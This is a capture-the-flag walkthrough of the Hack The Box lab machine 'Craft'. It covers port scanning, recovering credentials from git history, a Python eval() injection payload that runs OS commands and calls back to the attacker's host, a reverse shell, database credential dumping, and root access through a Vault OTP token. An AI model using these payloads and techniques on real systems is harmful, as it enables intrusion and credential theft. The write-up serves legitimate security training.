Craft was a medium-rated Linux box on hackthebox.eu, produced by rotarydrone. The box was pretty straightforward, once I learned about a python function I’d somehow never encountered before.
Hints
(highlight to reveal)
User 1: The path to user consists of several steps, but it starts when you commit.
User 2: Private repos are your friend.
Root: You don’t need to go far from home on this one.
Initial Enumeration
Per the box page, craft is a Linux host sitting at 10.10.10.110 in the hackthebox firing range network. Initial nmap scans show TCP 22 and 443 are open.
root@kali:~/htb/craft# nmap -v -Pn -n 10.10.10.110 -p1-1000 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-19 15:37 EDT Initiating SYN Stealth Scan at 15:37 Scanning 10.10.10.110 [1000 ports] Discovered open port 443/tcp on 10.10.10.110 Discovered open port 22/tcp on 10.10.10.110 Completed SYN Stealth Scan at 15:37, 1.69s elapsed (1000 total ports) Nmap scan report for 10.10.10.110 Host is up (0.034s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 443/tcp open https Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds Raw packets sent: 1001 (44.044KB) | Rcvd: 1000 (40.008KB)
A scan on high ports also shows TCP 6022.
root@kali:~/htb/craft# nmap -v -Pn -n 10.10.10.110 -p1001-65535 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-19 15:37 EDT Initiating SYN Stealth Scan at 15:37 Scanning 10.10.10.110 [64535 ports] Discovered open port 6022/tcp on 10.10.10.110 Completed SYN Stealth Scan at 15:38, 39.98s elapsed (64535 total ports) Nmap scan report for 10.10.10.110 Host is up (0.033s latency). Not shown: 64534 closed ports PORT STATE SERVICE 6022/tcp open x11 Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 40.05 seconds Raw packets sent: 64755 (2.849MB) | Rcvd: 64997 (2.667MB)
Opening an ssh connection to port 22 throws up a nifty ascii beer glass and a password prompt.

That open port 6022… Hm… XX22… Another ssh port?
root@kali:~/htb/craft# ssh 10.10.10.110 -p 6022 root@10.10.10.110: Permission denied (publickey).
But it wants a key and a user, neither of which I have at the moment, so it’s on to the web server.
The homescreen advertises this as the future home of “the largest repository of US-produced craft brews accessible over REST”

Links at the top provide API documentation:

And a git server:

User
Looking over the API documentation, it looks like it requires a login for things like database updates and deletes. So I turn to the git repo to see if anyone has included any secrets in public posts.
Hit the ‘explore’ link, find the craft-api repo, and start digging. Pretty quickly, I find a ‘test.py’ script, that has a spot for credentials, but there’s nothing there.

Click on the history link, though, and this commit of this file is listed as “Cleanup test”. So, what had to be cleaned up?
Dinesh’s credentials.

Remember, boys and girls – when you clean secrets out of your git repo, you have to clean up the history too!
I pulled down a copy of the repo, dropped dinesh’s credentials back into the test script (and set it to proxy through my Burp instance), and got myself a token:
Request GET /api/auth/login HTTP/1.1 Host: api.craft.htb Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.21.0 Authorization: Basic ZGluZXNoOjRhVWgwQThQYlZKeGdk Response HTTP/1.1 200 OK Server: nginx/1.15.8 Date: Thu, 22 Aug 2019 19:12:35 GMT Content-Type: application/json Content-Length: 140 Connection: close Accept-Ranges: bytes {"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTY2NTAxNDU1fQ.0uAvrYOfo57buThAXTcDRoS5ODAbXHb46bxWg1uWbjw"}
Having fed this into burp, I can send it to repeater and generate new tokens on demand, which is nice, as they time out after five minutes.
Is there anything else in the repo that’s noteworthy? There is one open issue on bogus ABV values

That last comment looks interesting… “Can we remove that sorry excuse for a ‘patch’ before something awful happens?” What’s so awful about the patch?
![if eval('%s > 1' % request.json['abv']):](https://offkiltersecuritydotcom.files.wordpress.com/2019/08/eval_source.png)
The developer (Dinesh, again) is sending unsanitized input to a python eval call. Eval evaluates whatever is fed to it as python code. So, in this case, whenever someone submits a new beer, it takes the ABV value (which it’s accepting as a string) and feeds it into this eval statement to ensure it’s not greater than 1 (which would be pure alcohol).
Full disclosure, I hadn’t encountered eval in a python context before, so I overlooked this at first. Seth Art had a good writeup on his blog.
Running the test script through burp also meant that I had a create brew call ready to go and mess with. I set it up to try and ping my box. Note the “,0.1” at the end of the command so that it plays nice with the comparison operator already in the eval statement.
POST /api/brew/ HTTP/1.1 Host: api.craft.htb Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.21.0 X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNo IiwiZXhwIjoxNTY2NTY2NzY3fQ.9RA1x_0elnJ3oSXuyRZ_pfoXZ84yQeIzy7lHFK4VAGU Content-Type: application/json Content-Length: 126 {"style": "foobar", "name": "foobar2", "abv": "__import__('os').popen('ping -c 3 10.10.14.X').read(),0.1", "brewer": "foobar"}
Back on my kali box, running tcpdump, I get
root@kali:~/htb/craft# tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 09:25:01.510192 IP api.craft.htb > kali: ICMP echo request, id 18177, seq 0, length 64 09:25:01.510211 IP kali > api.craft.htb: ICMP echo reply, id 18177, seq 0, length 64 09:25:02.510970 IP api.craft.htb > kali: ICMP echo request, id 18177, seq 1, length 64 09:25:02.511002 IP kali > api.craft.htb: ICMP echo reply, id 18177, seq 1, length 64 09:25:03.510131 IP api.craft.htb > kali: ICMP echo request, id 18177, seq 2, length 64 09:25:03.510150 IP kali > api.craft.htb: ICMP echo reply, id 18177, seq 2, length 64
Success!
Netcat was giving me issues for a reverse shell, and acceptable length for the payload seemed to be limited, so I took a few minutes to upload and run a python reverse shell.
The shell dropped me in a busybox instance hosting the craft flask app, all running in docker. However, now having access to the backend, I can access the database credentials in the settings file at /opt/app/craft_api/settings.py
# Flask settings FLASK_SERVER_NAME = 'api.craft.htb' FLASK_DEBUG = False # Do not use debug mode in production # Flask-Restplus settings RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list' RESTPLUS_VALIDATE = True RESTPLUS_MASK_SWAGGER = False RESTPLUS_ERROR_404_HELP = False CRAFT_API_SECRET = 'hz66OCkDtv8G6D' # database MYSQL_DATABASE_USER = 'craft' MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O' MYSQL_DATABASE_DB = 'craft' MYSQL_DATABASE_HOST = 'db' SQLALCHEMY_TRACK_MODIFICATIONS = False
Python and pymysql are installed in the docker container, so I used python to establish a connection to the backend MySQL database and pillage it for credentials. The dbtest.py script provided a nice template for that, and after a minute, I was able to pull down
>>>cursor.fetchall() [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
With more credentials to work with, I went back to resources I’d already identified and tried them again. Still no luck on the ssh, but, like Dinesh, Bertram had used the same password for the craft API as he did for the git server, and now I was into his account.
Including his private repo.
Which held his private ssh key

To be fair, the key was password protected. But it used the same password he used for everything else, so…

And the user flag was right there:
gilfoyle@craft:~$ cat user.txt bbxxxxxxxxxxxxxxxxxxxxxxxxxxxxd4
Root
Once on the main box, it turned out everything I needed was really close to home. Bertrand’s home directory has a file named .vault_token
gilfoyle@craft:~$ ls -la total 36 drwx------ 4 gilfoyle gilfoyle 4096 Aug 22 13:18 . drwxr-xr-x 3 root root 4096 Feb 9 2019 .. -rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config -rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh -r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt -rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token -rw------- 1 gilfoyle gilfoyle 2546 Feb 9 2019 .viminfo
And his .bashrc references a VAULT_ADDR.
gilfoyle@craft:~$ cat .bashrc # ~/.bashrc: executed by bash(1) for non-login shells. # Note: PS1 and umask are already set in /etc/profile. You should not # need this unless you want different defaults for root. # PS1='${debian_chroot:+($debian_chroot)}\h:\w\$ ' # umask 022 # You may uncomment the following lines if you want `ls' to be colorized: # export LS_OPTIONS='--color=auto' # eval "`dircolors`" # alias ls='ls $LS_OPTIONS' # alias ll='ls $LS_OPTIONS -l' # alias l='ls $LS_OPTIONS -lA' # # Some more alias to avoid making mistakes: # alias rm='rm -i' # alias cp='cp -i' # alias mv='mv -i' export VAULT_ADDR=https://vault.craft.htb:8200/ set +o history
A little googling turns up HashiCorp’s Vault product for managing passwords, tokens and other secrets.
Digging back into Bertrand’s craft-infra repository reveals that he’s configured it to provide one-time passwords for root ssh access.

Looking over the vault documentation, given a valid vault token (which is in that .vault_token file), I can generate a valid OTP request…
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1 Key Value --- ----- lease_id ssh/creds/root_otp/89521b1e-4b66-752f-b23c-184e62e3850d lease_duration 768h lease_renewable false ip 127.0.0.1 key 58c5e23b-82f2-a0a6-1b2e-8f69152471e8 key_type otp port 22 username root
And…

All in all, this was a pretty clean box to attack. A fair amount of looping back to resources already examined for new goodies, but nothing really convoluted. And, sadly, not dissimilar from some things I’ve seen in the real world. Thanks, rotarydrone!
-30-